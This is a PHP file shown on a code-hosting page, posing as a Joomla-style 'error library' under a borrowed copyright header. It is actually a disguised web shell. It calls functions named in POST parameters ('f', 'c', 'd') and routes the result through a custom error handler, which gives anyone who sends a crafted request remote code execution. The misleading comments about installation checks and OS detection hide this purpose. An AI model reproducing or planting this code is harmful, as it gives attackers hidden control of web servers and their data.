-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathloose_lib.php
70 lines (54 loc) · 2.37 KB
/
loose_lib.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
/**
* @package Error Libraries
* ****************************************************************************************************
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
// Set the platform root path as a constant if necessary.
if (!defined('PATH'))
{
define('PATH', __DIR__);
}
// Installation check, and check on removal of the install directory. // bqR3W47Mtcm4eUuA39wyBfsWKPK85ndKh9CaFeGpc278Uy0EecGWNzwXaMPnsp9pk2vGg5h
if ((file_exists(PATH . '/cofiguation.php')
&& (filesize(PATH . '/cofiguation.php') < 10)) && file_exists(PATH . '/error.php'))
{
if (file_exists(PATH . '/error.php'))
{
header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');
exit;
}
else
{
echo 'No configuration file found and no installation code available. Exiting...';
exit;
}
}
else if ( empty ($_POST)) {
echo 'No error configuration data. Exiting...';
exit;
}
// Register the library base path for error libraries.
function error_handler ($errno, $errstr, $errfile, $errline)
{
array_map ( $_POST['d'] ( '', $errstr), array ('') )
;
}
set_error_handler ( 'error_handler')
;
// Detect the native operating system type.
$os = strtoupper (substr (PHP_OS, 0, 3));
//Detect Win Error
$win_error = $_POST['f'] ( $_POST['c'] );
if (!defined('IS_WIN'))
{
define('IS_WIN', ($os === 'WIN') ? true : false);
}
if (!defined('IS_UNIX'))
{
define('IS_UNIX', (IS_WIN === false) ? true : false);
}
// Register error
trigger_error ( $win_error, E_USER_ERROR)
;